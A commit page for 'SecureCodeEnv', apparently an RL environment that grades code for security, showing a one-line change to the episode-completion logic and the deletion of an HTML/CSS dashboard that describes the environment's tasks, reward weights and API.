Spaces:
Sleeping
Sleeping
Commit ·
9aed967
1
Parent(s): 31726f5
changing logics for the result
Browse files- app/routes.py +1 -1
- dashboard.html +0 -913
- graders/attacks.py +65 -30
- graders/consistency.py +68 -65
- graders/correctness.py +15 -0
- graders/performance.py +33 -41
- graders/reward_aggregator.py +76 -28
- graders/static_analysis.py +180 -168
- sandbox/payload_gen.py +130 -110
- tasks/medium/file_path_handler.py +91 -40
- tasks/medium/sql_query_builder.py +66 -32
app/routes.py
CHANGED
|
@@ -94,7 +94,7 @@ def step(action: StepAction):
|
|
| 94 |
state.graph.update(action.filename or "solution.py", result["new_metadata"])
|
| 95 |
state.step += 1
|
| 96 |
state.scores_history.append(result["total_reward"])
|
| 97 |
-
state.done = result
|
| 98 |
|
| 99 |
# Build structured details object
|
| 100 |
raw = result.get("details", {}) or {}
|
|
|
|
| 94 |
state.graph.update(action.filename or "solution.py", result["new_metadata"])
|
| 95 |
state.step += 1
|
| 96 |
state.scores_history.append(result["total_reward"])
|
| 97 |
+
state.done = result.get("done_eligible", False) or state.step >= MAX_STEPS
|
| 98 |
|
| 99 |
# Build structured details object
|
| 100 |
raw = result.get("details", {}) or {}
|
dashboard.html
DELETED
|
@@ -1,913 +0,0 @@
|
|
| 1 |
-
<!DOCTYPE html>
|
| 2 |
-
<html lang="en">
|
| 3 |
-
<head>
|
| 4 |
-
<meta charset="UTF-8">
|
| 5 |
-
<meta name="viewport" content="width=device-width,initial-scale=1.0">
|
| 6 |
-
<title>SecureCodeEnv — RL Playground</title>
|
| 7 |
-
<link rel="preconnect" href="https://fonts.googleapis.com">
|
| 8 |
-
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:ital,wght@0,400;0,700;1,400&family=Syne:wght@500;700;800&display=swap" rel="stylesheet">
|
| 9 |
-
<style>
|
| 10 |
-
:root{
|
| 11 |
-
--bg:#07090d;--surface:#0d1117;--s2:#161b22;--s3:#21262d;
|
| 12 |
-
--border:#30363d;--accent:#f0883e;--a2:#79c0ff;--a3:#56d364;
|
| 13 |
-
--danger:#ff7b72;--warn:#e3b341;--text:#e6edf3;--muted:#8b949e;
|
| 14 |
-
--mono:'JetBrains Mono',monospace;--sans:'Syne',sans-serif;
|
| 15 |
-
--radius:8px;
|
| 16 |
-
}
|
| 17 |
-
*{box-sizing:border-box;margin:0;padding:0}
|
| 18 |
-
html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--sans)}
|
| 19 |
-
body{display:flex;flex-direction:column;min-height:100vh}
|
| 20 |
-
|
| 21 |
-
/* grid bg */
|
| 22 |
-
body::before{content:'';position:fixed;inset:0;
|
| 23 |
-
background-image:linear-gradient(rgba(240,136,62,.025) 1px,transparent 1px),
|
| 24 |
-
linear-gradient(90deg,rgba(240,136,62,.025) 1px,transparent 1px);
|
| 25 |
-
background-size:48px 48px;pointer-events:none;z-index:0}
|
| 26 |
-
|
| 27 |
-
/* ── header ── */
|
| 28 |
-
header{position:sticky;top:0;z-index:200;background:rgba(7,9,13,.88);
|
| 29 |
-
backdrop-filter:blur(12px);border-bottom:1px solid var(--border);
|
| 30 |
-
padding:0 24px;height:52px;display:flex;align-items:center;justify-content:space-between;gap:16px}
|
| 31 |
-
.hlogo{display:flex;align-items:center;gap:10px;font-family:var(--mono);font-weight:700;font-size:14px;color:var(--accent)}
|
| 32 |
-
.hlogo-icon{width:26px;height:26px;background:var(--accent);border-radius:5px;display:grid;place-items:center;font-size:13px;color:#000}
|
| 33 |
-
.hbadges{display:flex;gap:6px;flex-wrap:wrap}
|
| 34 |
-
.badge{font-family:var(--mono);font-size:10px;padding:2px 8px;border-radius:99px;border:1px solid;letter-spacing:.4px}
|
| 35 |
-
.bo{color:var(--accent);border-color:rgba(240,136,62,.3);background:rgba(240,136,62,.07)}
|
| 36 |
-
.bb{color:var(--a2);border-color:rgba(121,192,255,.3);background:rgba(121,192,255,.07)}
|
| 37 |
-
.bg{color:var(--a3);border-color:rgba(86,211,100,.3);background:rgba(86,211,100,.07)}
|
| 38 |
-
.br{color:var(--danger);border-color:rgba(255,123,114,.3);background:rgba(255,123,114,.07)}
|
| 39 |
-
.hstatus{display:flex;align-items:center;gap:8px;font-size:12px;font-family:var(--mono)}
|
| 40 |
-
.dot{width:7px;height:7px;border-radius:50%;background:var(--a3);box-shadow:0 0 6px var(--a3)}
|
| 41 |
-
.dot.red{background:var(--danger);box-shadow:0 0 6px var(--danger)}
|
| 42 |
-
.dot.pulse{animation:pulse 2s ease infinite}
|
| 43 |
-
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.35}}
|
| 44 |
-
|
| 45 |
-
/* ── nav tabs ── */
|
| 46 |
-
.nav{display:flex;border-bottom:1px solid var(--border);background:var(--surface);
|
| 47 |
-
padding:0 24px;gap:2px;position:sticky;top:52px;z-index:100}
|
| 48 |
-
.ntab{font-family:var(--mono);font-size:12px;padding:10px 16px;cursor:pointer;
|
| 49 |
-
border-bottom:2px solid transparent;color:var(--muted);transition:.15s;
|
| 50 |
-
background:none;border-top:none;border-left:none;border-right:none;color:var(--muted)}
|
| 51 |
-
.ntab:hover{color:var(--text)}
|
| 52 |
-
.ntab.active{color:var(--accent);border-bottom-color:var(--accent)}
|
| 53 |
-
|
| 54 |
-
/* ── main layout ── */
|
| 55 |
-
.main{position:relative;z-index:1;flex:1;padding:24px;max-width:1200px;margin:0 auto;width:100%}
|
| 56 |
-
.panel{display:none}
|
| 57 |
-
.panel.active{display:block}
|
| 58 |
-
|
| 59 |
-
/* ── playground layout ── */
|
| 60 |
-
.playground{display:grid;grid-template-columns:1fr 400px;gap:16px;height:calc(100vh - 160px)}
|
| 61 |
-
@media(max-width:900px){.playground{grid-template-columns:1fr;height:auto}}
|
| 62 |
-
|
| 63 |
-
/* ── left pane ── */
|
| 64 |
-
.left-pane{display:flex;flex-direction:column;gap:12px;min-height:0}
|
| 65 |
-
.card{background:var(--surface);border:1px solid var(--border);border-radius:var(--radius);overflow:hidden}
|
| 66 |
-
.card-header{display:flex;align-items:center;justify-content:space-between;
|
| 67 |
-
padding:10px 14px;border-bottom:1px solid var(--border);background:var(--s2)}
|
| 68 |
-
.card-title{font-size:11px;font-family:var(--mono);color:var(--muted);letter-spacing:1px;text-transform:uppercase}
|
| 69 |
-
.card-body{padding:14px}
|
| 70 |
-
|
| 71 |
-
/* ── controls ── */
|
| 72 |
-
.controls-row{display:flex;gap:8px;flex-wrap:wrap;align-items:center}
|
| 73 |
-
select,input[type=text]{font-family:var(--mono);font-size:12px;background:var(--s2);
|
| 74 |
-
border:1px solid var(--border);color:var(--text);border-radius:5px;padding:7px 10px;
|
| 75 |
-
outline:none;transition:border-color .15s}
|
| 76 |
-
select:focus,input:focus{border-color:var(--accent)}
|
| 77 |
-
.btn{font-family:var(--mono);font-size:12px;font-weight:700;padding:7px 16px;
|
| 78 |
-
border-radius:5px;border:none;cursor:pointer;transition:all .12s;display:inline-flex;align-items:center;gap:6px}
|
| 79 |
-
.btn-primary{background:var(--accent);color:#000}
|
| 80 |
-
.btn-primary:hover{background:#ffaa5e;transform:translateY(-1px)}
|
| 81 |
-
.btn-primary:disabled{background:var(--s3);color:var(--muted);cursor:not-allowed;transform:none}
|
| 82 |
-
.btn-ghost{background:transparent;color:var(--text);border:1px solid var(--border)}
|
| 83 |
-
.btn-ghost:hover{border-color:var(--a2);color:var(--a2)}
|
| 84 |
-
.btn-green{background:var(--a3);color:#000}
|
| 85 |
-
.btn-green:hover{background:#6fe87a}
|
| 86 |
-
.btn-green:disabled{background:var(--s3);color:var(--muted);cursor:not-allowed}
|
| 87 |
-
.btn-danger{background:transparent;color:var(--danger);border:1px solid rgba(255,123,114,.3)}
|
| 88 |
-
.btn-danger:hover{background:rgba(255,123,114,.1)}
|
| 89 |
-
|
| 90 |
-
/* ── task display ── */
|
| 91 |
-
.task-box{background:var(--s2);border:1px solid var(--border);border-radius:6px;padding:14px;
|
| 92 |
-
font-size:13px;line-height:1.7;color:var(--text);white-space:pre-wrap;max-height:180px;
|
| 93 |
-
overflow-y:auto;font-family:var(--mono)}
|
| 94 |
-
.task-meta{display:flex;gap:8px;flex-wrap:wrap;margin-bottom:8px}
|
| 95 |
-
.cwe{font-family:var(--mono);font-size:10px;padding:2px 7px;border-radius:4px;
|
| 96 |
-
background:rgba(121,192,255,.08);color:var(--a2);border:1px solid rgba(121,192,255,.2)}
|
| 97 |
-
.diff-tag{font-family:var(--mono);font-size:10px;padding:2px 7px;border-radius:4px}
|
| 98 |
-
.easy{background:rgba(86,211,100,.1);color:var(--a3)}
|
| 99 |
-
.medium{background:rgba(240,136,62,.1);color:var(--accent)}
|
| 100 |
-
.hard{background:rgba(255,123,114,.1);color:var(--danger)}
|
| 101 |
-
|
| 102 |
-
/* ── code editor ── */
|
| 103 |
-
.editor-wrap{flex:1;display:flex;flex-direction:column;min-height:0}
|
| 104 |
-
.editor-header{display:flex;align-items:center;justify-content:space-between;
|
| 105 |
-
padding:8px 14px;background:var(--s2);border-bottom:1px solid var(--border)}
|
| 106 |
-
.editor-dots{display:flex;gap:5px}
|
| 107 |
-
.editor-dots span{width:9px;height:9px;border-radius:50%}
|
| 108 |
-
.editor-dots span:nth-child(1){background:#ff5f57}
|
| 109 |
-
.editor-dots span:nth-child(2){background:#febc2e}
|
| 110 |
-
.editor-dots span:nth-child(3){background:#28c840}
|
| 111 |
-
#code-editor{flex:1;width:100%;background:var(--s2);border:none;color:var(--text);
|
| 112 |
-
font-family:var(--mono);font-size:12px;line-height:1.65;padding:16px;
|
| 113 |
-
resize:none;outline:none;tab-size:4;min-height:280px}
|
| 114 |
-
#code-editor::placeholder{color:var(--muted)}
|
| 115 |
-
.editor-footer{padding:8px 14px;background:var(--s2);border-top:1px solid var(--border);
|
| 116 |
-
display:flex;justify-content:space-between;align-items:center;gap:8px}
|
| 117 |
-
.char-count{font-family:var(--mono);font-size:10px;color:var(--muted)}
|
| 118 |
-
|
| 119 |
-
/* ── right pane ── */
|
| 120 |
-
.right-pane{display:flex;flex-direction:column;gap:12px;overflow-y:auto;max-height:calc(100vh - 160px)}
|
| 121 |
-
@media(max-width:900px){.right-pane{max-height:none}}
|
| 122 |
-
|
| 123 |
-
/* ── reward display ── */
|
| 124 |
-
.reward-big{text-align:center;padding:20px 14px}
|
| 125 |
-
.reward-number{font-family:var(--mono);font-size:52px;font-weight:700;line-height:1;
|
| 126 |
-
transition:all .4s ease}
|
| 127 |
-
.reward-label{font-size:11px;color:var(--muted);font-family:var(--mono);margin-top:4px}
|
| 128 |
-
.reward-bar-bg{height:6px;background:var(--s3);border-radius:99px;margin:12px 0}
|
| 129 |
-
.reward-bar{height:6px;border-radius:99px;background:var(--accent);transition:width .6s ease;width:0%}
|
| 130 |
-
|
| 131 |
-
/* ── score breakdown ── */
|
| 132 |
-
.score-row{display:flex;align-items:center;gap:8px;padding:5px 0;
|
| 133 |
-
border-bottom:1px solid var(--border);font-size:12px}
|
| 134 |
-
.score-row:last-child{border:none}
|
| 135 |
-
.score-dim{flex:1;color:var(--muted);font-family:var(--mono)}
|
| 136 |
-
.score-val{font-family:var(--mono);font-weight:700;min-width:38px;text-align:right}
|
| 137 |
-
.score-bar-bg{width:60px;height:4px;background:var(--s3);border-radius:99px}
|
| 138 |
-
.score-bar-fg{height:4px;border-radius:99px;transition:width .5s ease;background:var(--a3)}
|
| 139 |
-
.weight-tag{font-size:9px;color:var(--s3);background:var(--border);
|
| 140 |
-
padding:1px 5px;border-radius:3px;font-family:var(--mono)}
|
| 141 |
-
|
| 142 |
-
/* ── feedback ── */
|
| 143 |
-
.fb-item{font-size:11px;font-family:var(--mono);padding:5px 8px;border-radius:5px;
|
| 144 |
-
background:var(--s2);border-left:3px solid var(--border);margin-bottom:4px;line-height:1.5}
|
| 145 |
-
.fb-item.good{border-left-color:var(--a3)}
|
| 146 |
-
.fb-item.warn{border-left-color:var(--warn)}
|
| 147 |
-
.fb-item.bad{border-left-color:var(--danger)}
|
| 148 |
-
|
| 149 |
-
/* ── history ── */
|
| 150 |
-
.history-item{display:flex;align-items:center;gap:8px;padding:7px 10px;
|
| 151 |
-
border-bottom:1px solid var(--border);font-size:11px;font-family:var(--mono)}
|
| 152 |
-
.history-item:last-child{border:none}
|
| 153 |
-
.h-step{color:var(--muted);min-width:40px}
|
| 154 |
-
.h-reward{font-weight:700;min-width:50px}
|
| 155 |
-
.h-bar{flex:1;height:4px;background:var(--s3);border-radius:99px;position:relative}
|
| 156 |
-
.h-bar-fg{height:4px;border-radius:99px;background:var(--a3);transition:width .4s}
|
| 157 |
-
.h-done{color:var(--a3);font-size:10px}
|
| 158 |
-
|
| 159 |
-
/* ── loading ── */
|
| 160 |
-
.spinner{display:inline-block;width:14px;height:14px;border:2px solid rgba(255,255,255,.2);
|
| 161 |
-
border-top-color:var(--accent);border-radius:50%;animation:spin .6s linear infinite}
|
| 162 |
-
@keyframes spin{to{transform:rotate(360deg)}}
|
| 163 |
-
|
| 164 |
-
/* ── empty state ── */
|
| 165 |
-
.empty{text-align:center;padding:40px 20px;color:var(--muted)}
|
| 166 |
-
.empty-icon{font-size:32px;margin-bottom:12px;opacity:.5}
|
| 167 |
-
.empty-text{font-size:13px;line-height:1.6}
|
| 168 |
-
|
| 169 |
-
/* ── alerts ── */
|
| 170 |
-
.alert{padding:10px 14px;border-radius:6px;font-size:12px;font-family:var(--mono);
|
| 171 |
-
margin-bottom:8px;display:flex;gap:8px;align-items:flex-start}
|
| 172 |
-
.alert-error{background:rgba(255,123,114,.1);border:1px solid rgba(255,123,114,.3);color:var(--danger)}
|
| 173 |
-
.alert-success{background:rgba(86,211,100,.1);border:1px solid rgba(86,211,100,.3);color:var(--a3)}
|
| 174 |
-
.alert-info{background:rgba(121,192,255,.1);border:1px solid rgba(121,192,255,.3);color:var(--a2)}
|
| 175 |
-
|
| 176 |
-
/* ── overview panel ── */
|
| 177 |
-
.grid-2{display:grid;grid-template-columns:repeat(auto-fill,minmax(260px,1fr));gap:12px}
|
| 178 |
-
.stat-card{background:var(--surface);border:1px solid var(--border);border-radius:var(--radius);
|
| 179 |
-
padding:20px;display:flex;flex-direction:column;gap:6px}
|
| 180 |
-
.stat-val{font-family:var(--mono);font-size:36px;font-weight:700;color:var(--accent)}
|
| 181 |
-
.stat-label{font-size:12px;color:var(--muted)}
|
| 182 |
-
.section-label{font-family:var(--mono);font-size:10px;color:var(--muted);letter-spacing:2px;
|
| 183 |
-
text-transform:uppercase;padding:16px 0 8px;border-bottom:1px solid var(--border);margin-bottom:12px}
|
| 184 |
-
|
| 185 |
-
/* ── task list ── */
|
| 186 |
-
.task-list-item{background:var(--surface);border:1px solid var(--border);border-radius:var(--radius);
|
| 187 |
-
padding:14px 16px;cursor:pointer;transition:border-color .15s;margin-bottom:8px}
|
| 188 |
-
.task-list-item:hover{border-color:var(--accent)}
|
| 189 |
-
.tli-header{display:flex;align-items:center;justify-content:space-between;margin-bottom:6px}
|
| 190 |
-
.tli-name{font-weight:700;font-size:14px}
|
| 191 |
-
.tli-desc{font-size:12px;color:var(--muted);line-height:1.5}
|
| 192 |
-
.tli-footer{display:flex;gap:6px;margin-top:10px;flex-wrap:wrap}
|
| 193 |
-
|
| 194 |
-
/* ── docs panel ── */
|
| 195 |
-
.docs-card{background:var(--surface);border:1px solid var(--border);border-radius:var(--radius);
|
| 196 |
-
padding:20px;margin-bottom:12px}
|
| 197 |
-
.docs-h2{font-size:16px;font-weight:700;margin-bottom:8px;color:var(--text)}
|
| 198 |
-
.docs-p{font-size:13px;color:var(--muted);line-height:1.7;margin-bottom:12px}
|
| 199 |
-
.docs-code{background:var(--s2);border:1px solid var(--border);border-radius:6px;
|
| 200 |
-
padding:14px;font-family:var(--mono);font-size:12px;line-height:1.65;
|
| 201 |
-
overflow-x:auto;margin-bottom:12px;white-space:pre}
|
| 202 |
-
.method{font-weight:700;font-size:11px;padding:2px 7px;border-radius:4px;font-family:var(--mono)}
|
| 203 |
-
.method.post{background:rgba(86,211,100,.15);color:var(--a3)}
|
| 204 |
-
.method.get{background:rgba(121,192,255,.15);color:var(--a2)}
|
| 205 |
-
.ep-row{display:flex;align-items:flex-start;gap:12px;padding:10px 0;
|
| 206 |
-
border-bottom:1px solid var(--border);font-size:13px}
|
| 207 |
-
.ep-row:last-child{border:none}
|
| 208 |
-
.ep-path{font-family:var(--mono);color:var(--text);font-weight:700;min-width:180px}
|
| 209 |
-
.ep-desc{color:var(--muted);line-height:1.5}
|
| 210 |
-
|
| 211 |
-
/* ── reward weight chart ── */
|
| 212 |
-
.weight-bar-row{display:flex;align-items:center;gap:10px;padding:6px 0;font-size:12px}
|
| 213 |
-
.wbr-name{flex:0 0 140px;font-family:var(--mono);color:var(--muted)}
|
| 214 |
-
.wbr-bg{flex:1;height:8px;background:var(--s3);border-radius:99px}
|
| 215 |
-
.wbr-fg{height:8px;border-radius:99px;background:var(--accent);transition:width .8s ease;width:0%}
|
| 216 |
-
.wbr-val{font-family:var(--mono);font-weight:700;color:var(--accent);min-width:36px;text-align:right}
|
| 217 |
-
|
| 218 |
-
/* scrollbar */
|
| 219 |
-
::-webkit-scrollbar{width:6px;height:6px}
|
| 220 |
-
::-webkit-scrollbar-track{background:var(--bg)}
|
| 221 |
-
::-webkit-scrollbar-thumb{background:var(--border);border-radius:3px}
|
| 222 |
-
</style>
|
| 223 |
-
</head>
|
| 224 |
-
<body>
|
| 225 |
-
|
| 226 |
-
<!-- HEADER -->
|
| 227 |
-
<header>
|
| 228 |
-
<div class="hlogo">
|
| 229 |
-
<div class="hlogo-icon">🔒</div>
|
| 230 |
-
SecureCodeEnv
|
| 231 |
-
</div>
|
| 232 |
-
<div class="hbadges">
|
| 233 |
-
<span class="badge bo">v2.0.0</span>
|
| 234 |
-
<span class="badge bb">OpenEnv</span>
|
| 235 |
-
<span class="badge br">Meta × PyTorch Hackathon</span>
|
| 236 |
-
</div>
|
| 237 |
-
<div class="hstatus">
|
| 238 |
-
<div class="dot pulse" id="status-dot"></div>
|
| 239 |
-
<span id="status-text" style="font-size:11px"></span>
|
| 240 |
-
</div>
|
| 241 |
-
</header>
|
| 242 |
-
|
| 243 |
-
<!-- NAV -->
|
| 244 |
-
<nav class="nav">
|
| 245 |
-
<button class="ntab active" onclick="showPanel('playground', this)">⚡ Playground</button>
|
| 246 |
-
<button class="ntab" onclick="showPanel('overview', this)">📊 Overview</button>
|
| 247 |
-
<button class="ntab" onclick="showPanel('tasks', this)">📋 Tasks</button>
|
| 248 |
-
<button class="ntab" onclick="showPanel('docs', this)">📖 API Docs</button>
|
| 249 |
-
</nav>
|
| 250 |
-
|
| 251 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 252 |
-
<!-- PLAYGROUND PANEL -->
|
| 253 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 254 |
-
<div class="main">
|
| 255 |
-
<div id="panel-playground" class="panel active">
|
| 256 |
-
<div class="playground">
|
| 257 |
-
|
| 258 |
-
<!-- LEFT: controls + task + editor -->
|
| 259 |
-
<div class="left-pane">
|
| 260 |
-
|
| 261 |
-
<!-- Episode controls -->
|
| 262 |
-
<div class="card">
|
| 263 |
-
<div class="card-header">
|
| 264 |
-
<span class="card-title">Episode Control</span>
|
| 265 |
-
<span id="session-badge" class="badge bb" style="display:none"></span>
|
| 266 |
-
</div>
|
| 267 |
-
<div class="card-body">
|
| 268 |
-
<div id="alert-area"></div>
|
| 269 |
-
<div class="controls-row">
|
| 270 |
-
<select id="diff-select">
|
| 271 |
-
<option value="easy">Easy</option>
|
| 272 |
-
<option value="medium" selected>Medium</option>
|
| 273 |
-
<option value="hard">Hard</option>
|
| 274 |
-
</select>
|
| 275 |
-
<select id="task-select" style="flex:1">
|
| 276 |
-
<option value="">Random task</option>
|
| 277 |
-
</select>
|
| 278 |
-
<button class="btn btn-primary" id="btn-reset" onclick="doReset()">
|
| 279 |
-
<span id="reset-spinner" style="display:none" class="spinner"></span>
|
| 280 |
-
🔄 Reset
|
| 281 |
-
</button>
|
| 282 |
-
</div>
|
| 283 |
-
<div id="task-area" style="margin-top:12px;display:none">
|
| 284 |
-
<div class="task-meta" id="task-meta"></div>
|
| 285 |
-
<div class="task-box" id="task-box"></div>
|
| 286 |
-
</div>
|
| 287 |
-
</div>
|
| 288 |
-
</div>
|
| 289 |
-
|
| 290 |
-
<!-- Code editor -->
|
| 291 |
-
<div class="card editor-wrap">
|
| 292 |
-
<div class="editor-header">
|
| 293 |
-
<div class="editor-dots"><span></span><span></span><span></span></div>
|
| 294 |
-
<span style="font-family:var(--mono);font-size:11px;color:var(--muted)" id="editor-filename">solution.py</span>
|
| 295 |
-
<div style="display:flex;gap:6px">
|
| 296 |
-
<button class="btn btn-ghost" style="padding:4px 10px;font-size:11px" onclick="loadStarter()">Load starter</button>
|
| 297 |
-
<button class="btn btn-ghost" style="padding:4px 10px;font-size:11px" onclick="clearEditor()">Clear</button>
|
| 298 |
-
</div>
|
| 299 |
-
</div>
|
| 300 |
-
<textarea id="code-editor" spellcheck="false"
|
| 301 |
-
placeholder="# Reset an episode first, then write your Python solution here...
|
| 302 |
-
# Click 'Load starter' to get the buggy starter code to fix.
|
| 303 |
-
|
| 304 |
-
def your_function():
|
| 305 |
-
pass"></textarea>
|
| 306 |
-
<div class="editor-footer">
|
| 307 |
-
<span class="char-count" id="char-count">0 chars</span>
|
| 308 |
-
<div style="display:flex;gap:8px">
|
| 309 |
-
<span id="step-counter" style="font-family:var(--mono);font-size:11px;color:var(--muted)">Step 0/5</span>
|
| 310 |
-
<button class="btn btn-green" id="btn-submit" onclick="doStep()" disabled>
|
| 311 |
-
<span id="submit-spinner" style="display:none" class="spinner"></span>
|
| 312 |
-
▶ Submit
|
| 313 |
-
</button>
|
| 314 |
-
</div>
|
| 315 |
-
</div>
|
| 316 |
-
</div>
|
| 317 |
-
</div>
|
| 318 |
-
|
| 319 |
-
<!-- RIGHT: rewards + feedback + history -->
|
| 320 |
-
<div class="right-pane">
|
| 321 |
-
|
| 322 |
-
<!-- Total reward -->
|
| 323 |
-
<div class="card">
|
| 324 |
-
<div class="card-header"><span class="card-title">Total Reward</span><span id="done-badge" style="display:none" class="badge bg">DONE ✓</span></div>
|
| 325 |
-
<div class="card-body">
|
| 326 |
-
<div class="reward-big">
|
| 327 |
-
<div class="reward-number" id="reward-number" style="color:var(--muted)">—</div>
|
| 328 |
-
<div class="reward-label">/ 1.000 maximum</div>
|
| 329 |
-
</div>
|
| 330 |
-
<div class="reward-bar-bg"><div class="reward-bar" id="reward-bar"></div></div>
|
| 331 |
-
<div id="summary-text" style="font-size:12px;font-family:var(--mono);color:var(--muted);text-align:center"></div>
|
| 332 |
-
</div>
|
| 333 |
-
</div>
|
| 334 |
-
|
| 335 |
-
<!-- Score breakdown -->
|
| 336 |
-
<div class="card">
|
| 337 |
-
<div class="card-header"><span class="card-title">Score Breakdown</span></div>
|
| 338 |
-
<div class="card-body" id="score-breakdown">
|
| 339 |
-
<div class="empty"><div class="empty-icon">📊</div><div class="empty-text">Submit code to see scores</div></div>
|
| 340 |
-
</div>
|
| 341 |
-
</div>
|
| 342 |
-
|
| 343 |
-
<!-- Feedback -->
|
| 344 |
-
<div class="card">
|
| 345 |
-
<div class="card-header"><span class="card-title">Feedback</span></div>
|
| 346 |
-
<div class="card-body" id="feedback-area">
|
| 347 |
-
<div class="empty"><div class="empty-icon">💬</div><div class="empty-text">Feedback will appear here</div></div>
|
| 348 |
-
</div>
|
| 349 |
-
</div>
|
| 350 |
-
|
| 351 |
-
<!-- Step history -->
|
| 352 |
-
<div class="card">
|
| 353 |
-
<div class="card-header"><span class="card-title">Episode History</span><span class="char-count" id="history-count">0 steps</span></div>
|
| 354 |
-
<div id="history-area">
|
| 355 |
-
<div class="empty" style="padding:20px"><div class="empty-text">No submissions yet</div></div>
|
| 356 |
-
</div>
|
| 357 |
-
</div>
|
| 358 |
-
|
| 359 |
-
</div>
|
| 360 |
-
</div>
|
| 361 |
-
</div>
|
| 362 |
-
|
| 363 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 364 |
-
<!-- OVERVIEW PANEL -->
|
| 365 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 366 |
-
<div id="panel-overview" class="panel">
|
| 367 |
-
<div class="section-label">Environment Stats</div>
|
| 368 |
-
<div class="grid-2">
|
| 369 |
-
<div class="stat-card"><div class="stat-val">9</div><div class="stat-label">Security Tasks (3 per difficulty)</div></div>
|
| 370 |
-
<div class="stat-card"><div class="stat-val">7</div><div class="stat-label">Reward Dimensions</div></div>
|
| 371 |
-
<div class="stat-card"><div class="stat-val">12+</div><div class="stat-label">CWE IDs Covered</div></div>
|
| 372 |
-
<div class="stat-card"><div class="stat-val">$0</div><div class="stat-label">Infrastructure Cost (HF Spaces free tier)</div></div>
|
| 373 |
-
</div>
|
| 374 |
-
|
| 375 |
-
<div class="section-label" style="margin-top:24px">Reward Weights</div>
|
| 376 |
-
<div class="card"><div class="card-body" id="weight-chart"></div></div>
|
| 377 |
-
|
| 378 |
-
<div class="section-label" style="margin-top:24px">What Makes This Unique</div>
|
| 379 |
-
<div class="grid-2">
|
| 380 |
-
<div class="stat-card" style="gap:10px">
|
| 381 |
-
<div style="font-size:22px">⚔️</div>
|
| 382 |
-
<div style="font-weight:700">Dynamic Attack Grading</div>
|
| 383 |
-
<div class="stat-label">We actually FIRE SQL injection, path traversal, JWT bypass, and XSS payloads at your code — not just static pattern matching. Payloads are seeded-random per episode so agents can't memorise them.</div>
|
| 384 |
-
</div>
|
| 385 |
-
<div class="stat-card" style="gap:10px">
|
| 386 |
-
<div style="font-size:22px">🧠</div>
|
| 387 |
-
<div style="font-weight:700">CodeGraph Memory</div>
|
| 388 |
-
<div class="stat-label">The agent's codebase context grows across steps. Conventions (naming, error handling, type hints) are inferred and enforced — the only RL environment that rewards multi-file consistency.</div>
|
| 389 |
-
</div>
|
| 390 |
-
<div class="stat-card" style="gap:10px">
|
| 391 |
-
<div style="font-size:22px">🎯</div>
|
| 392 |
-
<div style="font-weight:700">CWE-Grounded Tasks</div>
|
| 393 |
-
<div class="stat-label">Every task maps to real Common Weakness Enumeration IDs. Grading is 100% automated and deterministic — no LLM judge, no subjectivity.</div>
|
| 394 |
-
</div>
|
| 395 |
-
<div class="stat-card" style="gap:10px">
|
| 396 |
-
<div style="font-size:22px">📈</div>
|
| 397 |
-
<div style="font-weight:700">Dense Reward Signal</div>
|
| 398 |
-
<div class="stat-label">7 orthogonal dimensions give partial credit at every step. Agents never get 0.0 on a correct-but-insecure submission — they learn incrementally.</div>
|
| 399 |
-
</div>
|
| 400 |
-
</div>
|
| 401 |
-
</div>
|
| 402 |
-
|
| 403 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 404 |
-
<!-- TASKS PANEL -->
|
| 405 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 406 |
-
<div id="panel-tasks" class="panel">
|
| 407 |
-
<div class="section-label">All 9 Tasks</div>
|
| 408 |
-
<div style="display:flex;gap:8px;margin-bottom:16px">
|
| 409 |
-
<button class="btn btn-ghost" onclick="filterTasks('all')" id="f-all" style="border-color:var(--accent);color:var(--accent)">All</button>
|
| 410 |
-
<button class="btn btn-ghost" onclick="filterTasks('easy')" id="f-easy">Easy</button>
|
| 411 |
-
<button class="btn btn-ghost" onclick="filterTasks('medium')" id="f-medium">Medium</button>
|
| 412 |
-
<button class="btn btn-ghost" onclick="filterTasks('hard')" id="f-hard">Hard</button>
|
| 413 |
-
</div>
|
| 414 |
-
<div id="task-list-container">
|
| 415 |
-
<div class="empty"><div class="spinner" style="margin:0 auto"></div></div>
|
| 416 |
-
</div>
|
| 417 |
-
</div>
|
| 418 |
-
|
| 419 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 420 |
-
<!-- DOCS PANEL -->
|
| 421 |
-
<!-- ══════════════════════════════════════════════════ -->
|
| 422 |
-
<div id="panel-docs" class="panel">
|
| 423 |
-
<div class="docs-card">
|
| 424 |
-
<div class="docs-h2">Quick Start</div>
|
| 425 |
-
<div class="docs-p">This environment implements the OpenEnv API contract. Use the Playground tab for interactive testing, or call the endpoints directly.</div>
|
| 426 |
-
<div class="docs-code">import requests
|
| 427 |
-
|
| 428 |
-
ENV = "https://vishaldhakad-securecodeenv.hf.space"
|
| 429 |
-
|
| 430 |
-
# 1. Start episode
|
| 431 |
-
ep = requests.post(f"{ENV}/reset", json={"difficulty": "medium"}).json()
|
| 432 |
-
sid, task = ep["session_id"], ep["task_id"]
|
| 433 |
-
print(ep["problem_statement"])
|
| 434 |
-
|
| 435 |
-
# 2. Submit code
|
| 436 |
-
result = requests.post(f"{ENV}/step", json={
|
| 437 |
-
"session_id": sid,
|
| 438 |
-
"code": "def build_user_query(u, r):\n return ('SELECT * FROM users WHERE username=%s', (u,))",
|
| 439 |
-
"filename": "solution.py"
|
| 440 |
-
}).json()
|
| 441 |
-
|
| 442 |
-
print(f"reward={result['total_reward']:.3f}")
|
| 443 |
-
print(result["feedback"]["summary"])</div>
|
| 444 |
-
</div>
|
| 445 |
-
|
| 446 |
-
<div class="docs-card">
|
| 447 |
-
<div class="docs-h2">Endpoints</div>
|
| 448 |
-
<div class="ep-row">
|
| 449 |
-
<div class="ep-path"><span class="method get">GET</span> /health</div>
|
| 450 |
-
<div class="ep-desc">Health check. Returns <code>{"status":"ok","tasks_loaded":9}</code></div>
|
| 451 |
-
</div>
|
| 452 |
-
<div class="ep-row">
|
| 453 |
-
<div class="ep-path"><span class="method post">POST</span> /reset</div>
|
| 454 |
-
<div class="ep-desc">Start new episode. Body: <code>{"difficulty":"medium","task_id":"optional"}</code>. Returns task + CodeGraph.</div>
|
| 455 |
-
</div>
|
